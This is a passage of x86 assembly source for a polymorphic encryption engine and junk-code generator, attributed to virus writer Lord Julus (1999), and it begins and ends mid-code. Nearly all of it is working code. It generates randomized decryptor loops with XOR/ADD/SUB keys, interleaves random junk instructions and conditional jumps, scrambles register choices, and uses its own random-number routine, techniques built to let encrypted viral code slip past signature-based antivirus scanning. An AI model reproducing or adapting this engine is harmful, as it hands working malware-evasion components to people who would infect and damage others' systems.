ebx, 4 ; we go back 1 dword loop mainloop ; and loop jmp ok ; jump over db "Multiple Opcode Fantasies 32Bit V.2.5 by Lord Julus - 1999" makeop: ; cmp ecx, 0 ; is it the first method ? jne notxor ; xor eax, ebx ; yes, XOR! jmp ready ; notxor: ; cmp ecx, 1 ; or maybe second ? jne notadd ; add eax, ebx ; yes, ADD! jmp ready ; notadd: ; sub eax, ebx ; then, SUB! ready: ; ret ; ; ok: ; pop ecx ; restore code length pop edi ; restore decryptor place shr ecx, 2 ; we work on dwords mov dword ptr [ebp+offset key], eax ; get decryption start key add ebx, 4 ; align start of code ; eax = initial key ; ebx = initial offset ; ecx = real length in dwords ; Here we start taking, filling and writing the decryptor lea esi, [ebp+offset decryptor] ; esi points to the decryptor mov [ebp+counter], 1 ; counter for instructions ; mov eax, edi ; first we make some junk so that call makejunk ; the jump to the decryptor is call makejunk ; always at another offset mov ebx, edi ; sub ebx, eax ; mov [ebp+first_intend], ebx ; call makejunk ; ...and some more... ; getinstr: ; cmp [ebp+counter], 13d ; je over_all ; lodsb ; load one byte cmp al, 0FEh ; check for instruction end je over_instr ; cmp al, 0FFH ; check for final end je over_all ; stosb ; store the byte jmp getinstr ; do it again... ; over_instr: ; call makeinstr ; fill the instruction cmp [ebp+counter], 11d ; je no_junk_please ; call makejunk ; create junk after it ; no_junk_please: ; inc [ebp+counter] ; increment counter jmp getinstr ; and do it again... ; over_all: ; the end... call makejunk ; ...final junk call makejunk ; mov [ebp+the_end], edi ; mark the end call makejunk ; some more... call makejunk ; mov [ebp+end_end], edi ; real end ! popad ; restore registers ret ; and return ;圻哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌 ; Here we have the instruction maker and the junk code generator. ;圮苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘 makeinstr proc near ; The routine to fill the instr. pushad ; save all regs cmp [ebp+counter], 13d ; check for counter < 13 je ok_procs ; ; mov ebx, dword ptr [ebp+counter] ; don't tell me that this is not dec ebx ; optimized because I know, but cmp ebx, 0 ; it is very difficult to deal je proc01 ; with relative shit relative cmp ebx, 1 ; to different imagebases... je proc02 ; so get of my back ;-) cmp ebx, 2 ; je proc03 ; cmp ebx, 3 ; je proc04 ; cmp ebx, 4 ; je proc05 ; cmp ebx, 5 ; je proc06 ; cmp ebx, 6 ; je proc07 ; cmp ebx, 7 ; je proc08 ; cmp ebx, 8 ; je proc09 ; cmp ebx, 9 ; je proc10 ; cmp ebx, 10 ; je proc11 ; cmp ebx, 11 ; je proc12 ; jmp ok_procs ; ;Here are the procedures to fill each instruction of the real decryptor proc01: ; mov preg, code_start and byte ptr [edi-5], 11111000b ; clear the place for preg mov al, byte ptr [ebp+offset preg] ; or byte ptr [edi-5], al ; fill the preg mov eax, dword ptr [ebp+offset codeaddr] or dword ptr [edi-4], eax ; fill the code start value jmp ok_procs ; ; proc02: ; mov kreg, key and byte ptr [edi-5], 11111000b ; clear the place for kreg mov al, byte ptr [ebp+offset kreg] ; or byte ptr [edi-5], al ; fill the kreg mov eax, dword ptr [ebp+offset key] ; or dword ptr [edi-4], eax ; fill the key value jmp ok_procs ; ; proc03: ; mov lreg, code_length/8 and byte ptr [edi-5], 11111000b ; clear the place for lreg mov al, byte ptr [ebp+offset lreg] ; or byte ptr [edi-5], al ; fill the lreg mov eax, dword ptr [ebp+offset codelength] or dword ptr [edi-4], eax ; fill the code length value jmp ok_procs ; ; proc04: ; mov creg, [preg] (mainloop) and byte ptr [edi-1], 11000000b ; clear for pointer and code regs mov al, byte ptr [ebp+offset preg] ; ; cmp al, 5 ; take care of [EBP] exception jne not_ebp ; (when we use [EBP] addressing mov al, 0 ; mode, we need a suplemental stosb ; 00 byte after the opcode mov al, 5 ; and a 01000000b fill up - see and byte ptr [edi-2], 0 ; (*)) or byte ptr [edi-2], al ; and fill them up... mov al, byte ptr [ebp+offset creg] ; shl al, 3 ; align like this: xxNNNxxx or byte ptr [edi-2], al ; or byte ptr [edi-2], 01000000b ; (*) mov increment_flag, 1 ; mov eax, edi ; sub eax, 3 ; jmp done_i04 ; ; ; not_ebp: ; or byte ptr [edi-1], al ; and fill them up... mov al, byte ptr [ebp+offset creg] ; shl al, 3 ; align like this: xxNNNxxx or byte ptr [edi-1], al ; mov eax, edi ; sub eax, 2 ; ; done_i04: ; mov dword ptr [ebp+offset mainlp], eax; jmp ok_procs ; ; proc05: ; creg, kreg and byte ptr [edi-1], 11000000b ; clear for r/m and reg mov al, byte ptr [ebp+offset creg] ; get creg, shl al, 3 ; align like this xxNNNxxx or byte ptr [edi-1], al ; mov al, byte ptr [ebp+offset kreg] ; or byte ptr [edi-1], al ; and byte ptr [edi-2], 0 ; mov eax, dword ptr [ebp+offset op1] ; lea esi, [ebp+offset un_op_code1] ; add esi, eax ; mov al, byte ptr [esi] ; or byte ptr [edi-2], al ; jmp ok_procs ; ; proc06: ; creg, key2 and byte ptr [edi-2], 11111000b ; mov al, byte ptr [ebp+offset creg] ; fill creg or byte ptr [edi-2], al ; mov al, byte ptr [ebp+offset key2] ; fill key or byte ptr [edi-1], al ; mov eax, dword ptr [ebp+offset op2] ; lea esi, [ebp+offset un_op_code3] ; add esi, eax ; mov al, byte ptr [esi] ; and byte ptr [edi-2], 00000111b ; or byte ptr [edi-2], al ; jmp ok_procs ; ; proc07: ; creg, [preg+4] and byte ptr [edi-2], 11000000b ; mov al, byte ptr [ebp+offset preg] ; or byte ptr [edi-2], al ; mov al, byte ptr [ebp+offset creg] ; shl al, 3 ; or byte ptr [edi-2], al ; and byte ptr [edi-3], 0 ; mov eax, dword ptr [ebp+offset op3] ; lea esi, [ebp+offset un_op_code1] ; add esi, eax ; mov al, byte ptr [esi] ; or byte ptr [edi-3], al ; jmp ok_procs ; ; proc08: ; mov [preg], creg and byte ptr [edi-1], 11000000b ; clear for pointer and code regs mov al, byte ptr [ebp+offset preg] ; cmp al, 5 ; take care of [EBP] exception jne not_ebp2 ; (check proc04 for explanation) mov al, 0 ; stosb ; mov al, 5 ; and byte ptr [edi-2], 0 ; or byte ptr [edi-2], al ; and fill them up... mov al, byte ptr [ebp+offset creg] ; shl al, 3 ; align like this: xxNNNxxx or byte ptr [edi-2], al ; or byte ptr [edi-2], 01000000b ; mov increment_flag, 1 ; jmp done_i08 ; ; not_ebp2: ; or byte ptr [edi-1], al ; and fill them up... mov al, byte ptr [ebp+offset creg] ; shl al, 3 ; align like this: xxNNNxxx or byte ptr [edi-1], al ; ; done_i08: ; jmp ok_procs ; ; proc09: ; kreg, keyvalue and byte ptr [edi-6], 0 ; mov eax, dword ptr [ebp+offset op4] ; lea esi, [ebp+offset un_op_code2] ; shl eax, 1 ; add esi, eax ; mov ax, word ptr [esi] ; and word ptr [edi-6], 0 ; or word ptr [edi-6], ax ; and byte ptr [edi-5], 11111000b ; mov al, byte ptr [ebp+offset kreg] ; fill kreg or byte ptr [edi-5], al ; mov eax, dword ptr [ebp+offset keyvalue] ; fill key and dword ptr [edi-4], 0 ; or dword ptr [edi-4], eax ; jmp ok_procs ; ; proc10: ; sub preg, 4 and byte ptr [edi-2], 11111000b ; mov al, byte ptr [ebp+offset preg] ; or byte ptr [edi-2], al ; jmp ok_procs ; ; proc11: ; sub lreg, 1 and byte ptr [edi-2], 11111000b ; mov al, byte ptr [ebp+offset lreg] ; or byte ptr [edi-2], al ; jmp ok_procs ; ; proc12: ; jnz mainloop mov eax, dword ptr [ebp+offset mainlp]; mov edx, edi ; add edx, 4 ; sub eax, edx ; and dword ptr [edi], 0 ; or dword ptr [edi], eax ; popad ; add edi, 4 ; jmp special_ok_procs ; ; ok_procs: ; done! popad ; restore all regs ; special_ok_procs: ; cmp [ebp+increment_flag], 1 ; If we stored suplemental bytes jne no_increment ; we need to move edi forward. inc edi ; mov [ebp+increment_flag], 0 ; ; no_increment: ; ret ; and return makeinstr endp ; ; ;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹 ; 脖鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍 ; 脖 ; 脖 Lord Julus' Junk Generator Module V.1.0 (March 1999) ; 脖 辈 ; 氨 ; 氨 ; 鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍氨 makejunk proc near ; This is the main junk push eax ebx ecx edx esi ; mov ecx, maxjunks ; routine. junk_loop: ; call _makejunk ; loop junk_loop ; pop esi edx ecx ebx eax ; ret ; makejunk endp ; db "JGM - Junk Generator Module V.1.0 by Lord Julus - March 1999" _makejunk proc near ; Generate junk! push eax ; mov eax, 5 ; choose between safe junks call brandom32 ; and junks that might cmp eax, 3 ; generate exception errors jae flawable_junk ; ; call make_sure_junk ; jmp exit_junk ; ; flawable_junk: ; call make_flaw_junk ; ; exit_junk: ; pop eax ; ret ; and return _makejunk endp ; ; make_flaw_junk proc near ; Here we will generate push eax ebx ecx edx ; junks that could raise mov eax, max_junk_hunk ; exception errors... call brandom32 ; inc eax ; ; mov [ebp+flawable], 0 ; (mark the type) ; mov ecx, eax ; ; mov al, 0E9h ; ...and so we generate a stosb ; Jump to skip them mov [ebp+address_save], edi ; save jump place mov eax, 0 ; stosd ; ; repeat_makejunk: ; call output_one_junk ; now we make the junks loop repeat_makejunk ; ; push edi ; sub edi, [ebp+address_save] ; and create the jump mov eax, edi ; address sub eax, 4 ; mov edi, [ebp+address_save] ; stosd ; pop edi ; ; pop edx ecx ebx eax ; ret ; make_flaw_junk endp ; ; make_sure_junk proc near ; push eax ebx ecx edx ; junks that could raise mov eax, max_junk_hunk ; exception errors... call brandom32 ; inc eax ; ; mov [ebp+flawable], 1 ; (mark type) ; mov ecx, eax ; ; repeat_makejunk_2: ; call output_one_junk ; now we make the junks loop repeat_makejunk_2 ; ; pop edx ecx ebx eax ; ret ; make_sure_junk endp ; ; output_one_junk proc ; This procedure outputs push ecx ; one junk instruction ; call choose_random_disp ; First choose displacements ; choose_another: ; mov eax, Table_numbers ; Choose one instruction call brandom32 ; table ; cmp [ebp+we_create_jcond], 1 ; prevent reentry jne no_case ; when creating conditional cmp eax, 3 ; jumps je choose_another ; cmp eax, 5 ; je choose_another ; ; no_case: ; cmp [ebp+flawable], 1 ; if the instruction mustn't jne go_on_unstopped ; generate exception errors cmp eax, 0 ; we cannot use table 1! je choose_another ; ; go_on_unstopped: ; lea ebx, dword ptr [ebp+junk_table_procs] ; take out the procedure shl eax, 2 ; add ebx, eax ; mov eax, dword ptr [ebx] ; add eax, ebp ; jmp eax ; and jump to it... ; junk_proc1: ; here we use table1 mov eax, 2 ; call brandom32 ; mov ebx, eax ; save possible increment add ebx, 2 ; 2 or 3... ; mov eax, Table1_len ; take a random operation call brandom32 ; from the Table1 shl eax, 1 ; lea esi, dword ptr [ebp+Table1] ; add esi, eax ; lodsb ; add eax, ebx ; toggle size stosb ; ; lea esi, dword ptr [ebp+ModRM] ; take a modrm byte call choose_jreg ; choose the random jreg mov edx, eax ; mov eax, 32 ; and a random addressing call brandom32 ; type mov dword ptr [ebp+row], eax ; save the row shl eax, 3 ; add esi, eax ; add esi, edx ; lodsb ; stosb ; store modrm ; mov eax, 2 ; choose addressing type call brandom32 ; ; cmp eax, 1 ; is it 32bit addressing? je _32bit_addressing ; ; mov ax, word ptr [edi-2] ; if it's 16bit then we shl eax, 10 ; must go behind the opcode dec edi ; dec edi ; mov al, Address_size_toggle ; and put an Address size stosb ; toggle prefix there shr eax, 10 ; stosw ; ; _16bit_addressing: ; mov edx, dword ptr [ebp+row] ; restore row in edx cmp edx, 6 ; DISP16 needed ? jne not_exc_1 ; mov ax, word ptr [ebp+disp16] ; stosw ; ; jmp finish_processing_1 ; ; not_exc_1: ; cmp edx, 7 ; Need to add a DISP8 ? jbe not_exc_2 ; cmp edx, 16 ; jae not_exc_2 ; mov al, byte ptr [ebp+disp8] ; stosb ; ; jmp finish_processing_1 ; ; not_exc_2: ; cmp edx, 15 ; Need to add a DISP16 ? jbe not_exc_3 ; cmp edx, 24 ; jae not_exc_3 ; mov ax, word ptr [ebp+disp16] ; stosw ; ; jmp finish_processing_1 ; ; not_exc_3: ; jmp finish_processing_1 ; ; _32bit_addressing: ; mov edx, dword ptr [ebp+row] ; restore row in edx cmp edx, 5 ; jne not_exc_4 ; mov eax, dword ptr [ebp+disp32] ; stosd ; jmp finish_processing_1 ; ; not_exc_4: ; cmp edx, 4 ; je need_sib ; cmp edx, 12 ; je need_sib ; cmp edx, 20 ; je need_sib ; ; cmp edx, 7 ; Need to add a DISP8 ? jbe not_exc_5 ; cmp edx, 16 ; jae not_exc_5 ; mov al, byte ptr [ebp+disp8] ; stosb ; jmp finish_processing_1 ; ; not_exc_5: ; cmp edx, 15 ; Need to add a DISP32 ? jbe not_exc_6 ; cmp edx, 24 ; jae not_exc_6 ; mov eax, dword ptr [ebp+disp32] ; stosd ; jmp finish_processing_1 ; ; not_exc_6: ; jmp finish_processing_1 ; ; need_sib: ; if we need a SIB byte lea esi, dword ptr [ebp+ModRM] ; we compute it rite here... mov eax, 8 ; call brandom32 ; mov ebx, eax ; mov eax, 32 ; call brandom32 ; cmp eax, 4 ; je need_sib ; cmp eax, 12 ; je need_sib ; cmp eax, 20 ; je need_sib ; shl eax, 3 ; add esi, eax ; add esi, ebx ; lodsb ; stosb ; cmp edx, 12 ; jne maybe_32 ; mov al, byte ptr [ebp+disp8] ; stosb ; jmp finish_processing_1 ; ; maybe_32: ; cmp edx, 20 ; jne finish_processing_1 ; mov eax, dword ptr [ebp+disp32] ; stosd ; jmp finish_processing_1 ; ; finish_processing_1: ; jmp over_one_junk ; ; junk_proc2: ; here we use Table 2 mov eax, 2 ; call brandom32 ; mov ebx, eax ; mov ebx, 1 ; force 16/32bit mov eax, Table2_len ; take a random operation call brandom32 ; from the Table2 shl eax, 1 ; lea esi, dword ptr [ebp+Table2] ; add esi, eax ; lodsb ; add eax, ebx ; toggle size stosb ; ; xor eax, eax ; call choose_jreg ; mov ebx, eax ; shl bx, 3 ; call choose_jreg ; or bl, al ; mov al, bl ; or al, 11000000b ; make reg to reg stosb ; ; jmp over_one_junk ; ; junk_proc3: ; mov eax, Table3_len-2 ; take a random operation call brandom32 ; from the Table3 shl eax, 1 ; lea esi, dword ptr [ebp+Table3] ; add esi, eax ; lodsb ; xchg eax, ebx ; call choose_jreg ; add ebx, eax ; xchg eax, ebx ; stosb ; ; jmp over_one_junk ; ; junk_proc4: ; Here we create short mov [ebp+we_create_jcond], 1 ; conditional jumps lea esi, dword ptr [ebp+Table4] ; lodsb ; xchg eax, ebx ; mov eax, 0eh ; call brandom32 ; add ebx, eax ; xchg eax, ebx ; stosb ; xor al, al ; stosb ; ; push word ptr [ebp+flawable] ; ; mov [ebp+flawable], 1 ; ; push edi ; call output_one_junk ; output one junk after pop ebx ; the conditional jump push ebx ; xchg edi, ebx ; sub ebx, edi ; add edi, ebx ; pop esi ; dec esi ; mov byte ptr [esi], bl ; ; mov [ebp+we_create_jcond], 0 ; ; pop word ptr [ebp+flawable] ; ; jmp over_one_junk ; ; junk_proc5: ; call choose_jreg ; Make imm to reg mov ebx, eax ; choose the register mov eax, Table5_len ; take a random operation call brandom32 ; from the Table1 mov eax, 1 ; force 16/32 bit mov ecx, eax ; save type shl eax, 1 ; lea esi, dword ptr [ebp+Table5] ; add esi, eax ; lodsb ; add eax, ebx ; ; stosb ; store opcode ; ; don't unmark these!!! I need some more conditions to make 8 bit mov ; cmp ecx, 1 ; ; je mov_1632bit ; 16 or 32 bit? ; ; ;mov_8bit: ; ; mov al, byte ptr [ebp+disp8] ; 8 bit imm ; stosb ; ; jmp quit_mov ; ; mov_1632bit: ; mov eax, 2 ; choose between 16 and call brandom32 ; 32 bit cmp eax, 0 ; je do_16 ; mov eax, dword ptr [ebp+disp32] ; 32 bit imm stosd ; jmp quit_mov ; ; do_16: ; dec edi ; 16 bit imm mov al, byte ptr [edi] ; we need to override mov byte ptr [edi+1], al ; the operand size mov byte ptr [edi], 66h ; add edi, 2 ; mov ax, word ptr [ebp+disp16] ; stosw ; ; quit_mov: ; done! jmp over_one_junk ; ; junk_proc6: ; mov [ebp+we_create_jcond], 1 ; mov al, 0fh ; stosb ; lea esi, dword ptr [ebp+Table6] ; lodsb ; xchg eax, ebx ; mov eax, 0eh ; call brandom32 ; add ebx, eax ; xchg eax, ebx ; stosb ; xor eax, eax ; stosd ; ; push word ptr [ebp+flawable] ; ; mov [ebp+flawable], 1 ; ; push edi ; call output_one_junk ; pop ebx ; push ebx ; xchg edi, ebx ; sub ebx, edi ; add edi, ebx ; pop esi ; sub esi, 4 ; mov dword ptr [esi], ebx ; ; mov [ebp+we_create_jcond], 0 ; ; pop word ptr [ebp+flawable] ; ; jmp over_one_junk ; ; junk_proc7: ; mov eax, Table7_len ; take a random operation call brandom32 ; from the Table1 shl eax, 1 ; lea esi, dword ptr [ebp+Table7] ; add esi, eax ; lodsb ; stosb ; ; jmp over_one_junk ; ; over_one_junk: ; ; pop ecx ; ret ; output_one_junk endp ; ; junk_table_procs label ; junk procs addresses dd offset junk_proc1 ; dd offset junk_proc2 ; dd offset junk_proc3 ; dd offset junk_proc4 ; dd offset junk_proc5 ; dd offset junk_proc6 ; dd offset junk_proc7 ; ; choose_jreg proc near ; choose one random junk mov eax, 3 ; register out of the 3 call brandom32 ; available cmp eax, 0 ; jne not_0 ; xor eax, eax ; mov al, [ebp+jreg1] ; ret ; not_0: ; cmp eax, 1 ; jne not_1 ; xor eax, eax ; mov al, [ebp+jreg2] ; ret ; not_1: ; xor eax, eax ; mov al, [ebp+jreg3] ; ret ; choose_jreg endp ; ; choose_random_disp proc near ; choose random displacements push eax ; call random32 ; mov dword ptr [ebp+disp32], eax ; 32bit call random32 ; mov word ptr [ebp+disp16], ax ; 16bit call random32 ; mov byte ptr [ebp+disp8], al ; 8bit pop eax ; ret ; choose_random_disp endp ; ; maxjunks = 5 ; max_junk_hunk = 3 ; row dd 0 ; ModRM label ; The Intel(C) instruction set comes in the following mode: ; ; Prefixes, Opcode, Mod/RM, SIB, immediate ; ; The Mod/RM and SIB bytes are defined in the following table: ; ;胀屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯透 ; MOD/RM AND SIB BYTE VALUES FOR ALL ADDRESSING MODES USED ;仆屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯脱屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯偷 ; AL CL DL BL AH CH DH BH 8BIT REGISTER ; AX CX DX BX SP BP SI DI 16BIT REGISTER ; EAX ECX EDX EBX ESP EBP ESI EDI 32BIT REGISTER ; 0 1 2 3 4 5 6 7 ORDER ; 000 001 010 011 100 101 110 111 仆屯屯屯屯屯淹屯屯屯屯淹屯屯屯屯 ; MOD/RM VALUE: (MOD = 00) 16BIT ADDR 32BIT AD.砈CALE ;滥哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪呐哪哪哪哪哪呐哪哪哪哪呐哪哪哪哪拇 db 000h,008h,010h,018h,020h,028h,030h,038h ;砙BX+SI] 砙EAX] 砙EAX] db 001h,009h,011h,019h,021h,029h,031h,039h ;砙BX+DI] 砙ECX] 砙ECX] db 002h,00Ah,012h,01Ah,022h,02Ah,032h,03Ah ;砙BP+SI] 砙EDX] 砙EDX] db 003h,00Bh,013h,01Bh,023h,02Bh,033h,03Bh ;砙BP+DI] 砙EBX] 砙ECX] db 004h,00Ch,014h,01Ch,024h,02Ch,034h,03Ch ;砙SI] 砙--] 砃ONE db 005h,00Dh,015h,01Dh,025h,02Dh,035h,03Dh ;砙DI] 矰32 砙EBP] db 006h,00Eh,016h,01Eh,026h,02Eh,036h,03Eh ;矰16 砙ESI] 砙ESI] db 007h,00Fh,017h,01Fh,027h,02Fh,037h,03Fh ;砙BX] 砙EDI] 砙EDI] ; MOD/RM VALUE: (MOD = 01) db 040h,048h,050h,058h,060h,068h,070h,078h ;砙BX+SI+D8] 砙EAX+D8] 砙EAX*2] db 041h,049h,051h,059h,061h,069h,071h,079h ;砙BX+DI+D8] 砙ECX+D8] 砙ECX*2] db 042h,04Ah,052h,05Ah,062h,06Ah,072h,07Ah ;砙BP+SI+D8] 砙EDX+D8] 砙EDX*2] db 043h,04Bh,053h,05Bh,063h,06Bh,073h,07Bh ;砙BP+DI+D8] 砙EBX+D8] 砙EBX*2] db 044h,04Ch,054h,05Ch,064h,06Ch,074h,07Ch ;砙SI+D8] 砙--+D8] 砃ONE db 045h,04Dh,055h,05Dh,065h,06Dh,075h,07Dh ;砙DI+D8] 砙EBP+D8] 砙EBP*2] db 046h,04Eh,056h,05Eh,066h,06Eh,076h,07Eh ;砙BP+D8] 砙ESI+D8] 砙ESI*2] db 047h,04Fh,057h,05Fh,067h,06Fh,077h,07Fh ;砙BX+D8] 砙EDI+D8] 砙EDI*2] ; MOD/RM VALUE (MOD = 10) db 080h,088h,090h,098h,0A0h,0A8h,0B0h,0B8h ;砙BX+SI+D16]砙EAX+D32]砙EAX*4] db 081h,089h,091h,099h,0A1h,0A9h,0B1h,0B9h ;砙BX+DI+D16]砙ECX+D32]砙ECX*4] db 082h,08Ah,092h,09Ah,0A2h,0AAh,0B2h,0BAh ;砙BP+SI+D16]砙EDX+D32]砙EDX*4] db 083h,08Bh,093h,09Bh,0A3h,0ABh,0B3h,0BBh ;砙BP+DI+D16]砙EBX+D32]砙EBX*4] db 084h,08Ch,094h,09Ch,0A4h,0ACh,0B4h,0BCh ;砙SI+D16] 砙--+D32] 砃ONE db 085h,08Dh,095h,09Dh,0A5h,0ADh,0B5h,0BDh ;砙DI+D16] 砙EBP+D32]砙EBP*4] db 086h,08Eh,096h,09Eh,0A6h,0AEh,0B6h,0BEh ;砙BP+D16] 砙ESI+D32]砙ESI*4] db 087h,08Fh,097h,09Fh,0A7h,0AFh,0B7h,0BFh ;砙BX+D16] 砙EDI+D32]砙EDI*4] ; MOD/RM VALUE (MOD = 11) db 0C0h,0C8h,0D0h,0D8h,0E0h,0E8h,0F0h,0F8h ;矱AX/AX/AL 矱AX/AX/AL砙EAX*8] db 0C1h,0C9h,0D1h,0D9h,0E1h,0E9h,0F1h,0F9h ;矱CX/CX/CL 矱CX/CX/CL砙ECX*8] db 0C2h,0CAh,0D2h,0DAh,0E2h,0EAh,0F2h,0FAh ;矱DX/DX/DL 矱DX/DX/DL砙EDX*8] db 0C3h,0CBh,0D3h,0DBh,0E3h,0EBh,0F3h,0FBh ;矱BX/BX/BL 矱BX/BX/BL砙EBX*8] db 0C4h,0CCh,0D4h,0DCh,0E4h,0ECh,0F4h,0FCh ;矱SP/SP/AH 矱SP/SP/AH砃ONE db 0C5h,0CDh,0D5h,0DDh,0E5h,0EDh,0F5h,0FDh ;矱BP/BP/CH 矱BP/BP/CH砙EBP*8] db 0C6h,0CEh,0D6h,0DEh,0E6h,0EEh,0F6h,0FEh ;矱SI/SI/DH 矱SI/SI/DH砙ESI*8] db 0C7h,0CFh,0D7h,0DFh,0E7h,0EFh,0F7h,0FFh ;矱DI/DI/BH 矱DI/DI/BH砙EDI*8] ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪聊哪哪哪哪哪聊哪哪哪哪聊哪哪哪哪 ; The prefixes: Operand_size_toggle db 66h ; changes between 16bit and 32bit operands Address_size_toggle db 67h ; changes between 16bit and 32bit addressing ; The toggle bytes (applied by XORing the OpCode with them): Direction_toggle db 02h ; toggles operand->address and address->op. Size_toggle db 01h ; toggles between 8bit and 16bit operators ; The immediate values used: disp8 db 0 ; 8bit displacement disp16 dw 0 ; 16bit displacement disp32 dd 0 ; 32bit displacement ; Reg to/from Address: (second byte 0=only junk register / 1=any register) Table1 label db 000h, 0 ; ADD Explanation: db 008h, 0 ; OR - unchaged = 8bit addr -> 8bit reg db 010h, 0 ; ADC - +1 = 16bit addr -> 16bit reg db 018h, 0 ; SBB - +2 = 8bit reg -> 8bit addr db 020h, 0 ; AND - +3 = 16bit reg -> 16bit addr db 028h, 0 ; SUB db 030h, 0 ; XOR db 038h, 1 ; CMP db 088h, 0 ; MOV Table1_len = ($-offset Table1)/2 Table2 label db 084h, 1 ; TEST - unchanged = 8bit -> 8bit db 086h, 0 ; XCHG +1 = 16bit -> 16bit Table2_len = ($-offset Table2)/2 Table3 label db 040h, 0 ; INC +reg number = INC reg db 048h, 0 ; DEC +reg number = DEC reg db 050h, 0 ; PUSH +reg number = PUSH reg db 058h, 0 ; POP +reg number = POP reg Table3_len = ($-offset Table3)/2 Table4 label db 070h, 0 ; Conditonal Jump +0 .. +0Fh = jump condition Table4_len = ($-offset Table4)/2 Table5 label db 0B0h, 0 ; Mov immediate to 8bit reg +reg number = mov to reg db 0B8h, 0 ; Mov immediate to 16/32bit reg +reg number = mov to reg Table5_len = ($-offset Table5)/2 Table6 label db 080h, 0 ; Long conditional jmp Table6_len = ($-offset Table6)/2 Table7 label clc db 0 stc db 0 cli db 0 sti db 0 cld db 0 Table7_len = ($-offset Table7)/2 Tables label ; this is useless in this dd offset Table1 ; version dd offset Table2 ; dd offset Table3 ; dd offset Table4 ; dd offset Table5 ; dd offset Table6 ; dd offset Table7 ; ; Table_numbers = ($-offset Tables)/4 ; this is useful... address_save dd 0 junk_finish dd 0 flawable dw 0 we_create_jcond db 0 first_intend dd 0 ; 脖 ; 脖 Junk Generator Module End 辈 ; 氨 ;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹 ;圻哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌 ; Here we have the place where the engine chooses the random stuff. ;圮苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘 Choose_random_registers Proc Near ; Here we choose the random regs pushad ; lea edi, [ebp+used_registers] ; point to registers lea esi, [ebp+used_registers] ; point to registers mov edx, esi ; save position mov ecx, 50h ; scramble 50h times ; mangle: ; mov eax, 7 ; call brandom32 ; choose a random nr. between 0-6 mov ebx, eax ; in EBX mov eax, 7 ; call brandom32 ; choose a random nr. between 0-6 cmp ebx, eax ; in EAX je mangle ; if EAX=EBX choose again add edi, eax ; increment first pointer add esi, ebx ; increment second pointer mov al, byte ptr [edi] ; and exchange the values xchg byte ptr [esi], al ; between them mov byte ptr [edi], al ; mov edi, edx ; restore position mov esi, edx ; loop mangle ; and do it 50h times popad ; Retn ; Choose_random_registers Endp ; ; randomize proc near ; push eax ; this randomize procedure must mov eax, dword ptr [esp-8] ; be called first when the word add dword ptr [ebp+seed], eax ; on the stack is smth. like pop eax ; 0BF87.... and it is different ret ; for each loaded file depending randomize endp ; on different thingies. The ; seed gets incremented anyway random32 proc near ; from generation to generation. push ecx ; xor ecx, ecx ; mov eax, dword ptr [ebp+seed] ; mov cx, 33 ; ; rloop: ; add eax, eax ; jnc $+4 ; xor al, 197 ; loop rloop ; mov dword ptr [ebp+seed], eax ; pop ecx ; ret ; random32 endp ; seed dd 0BFF81234h ; ; brandom32 proc near ; push edx ; this procedure expects a value push ecx ; mov edx, 0 ; in EAX and returns a random push eax ; number in EAX but smaller than call random32 ; EAX's original value. Actually pop ecx ; it bounds EAX (0<=EAX<=limit-1) div ecx ; EDX and ECX are preserved xchg eax, edx ; pop ecx ; pop edx ; ret ; brandom32 endp ; ;圻哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌 ; Here we have the data on the decryptor generation. ;圮苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘 decryptor: i01: mov ebx, 0 ; mov preg, code_start db 0feh ; i02: mov ebx, 0 ; mov kreg, key db 0feh ; i03: mov ebx, 0 ; mov lreg, code_length/8 db 0feh ; i04: mov ebx, dword ptr [ebx] ; mov creg, [preg] (mainloop) db 0feh ; i05: add ebx, ecx ; creg, kreg db 0feh ; i06: ror ebx, 0h ; creg, key2 db 0feh ; i07: add ebx, dword ptr [ebx+4] ; creg, [preg+4] db 0feh ; i08: mov dword ptr [ebx], ebx ; mov [preg], creg db 0feh ; i09: add ebx, 12345678h ; kreg, keyvalue db 0feh ; i10: add ebx, 4 ; sub preg, 4 db 0feh ; i11: sub ebx, 1 ; sub lreg, 1 db 0feh ; i12: ;jnz 0 ; jnz mainloop db 0fh, 85h ; dd 0feh ; db 0ffh ; ;圻哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌 ; Here we have the engine's general data. ;圮苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘 un_op_code1: db 33h ; XOR db 2Bh ; ADD db 03h ; SUB ; un_op_code2: ; db 81h, 11110000b ; XOR db 81h, 11101000b ; SUB db 81h, 11000000b ; ADD ; un_op_code3: ; db 11000000b ; ROL db 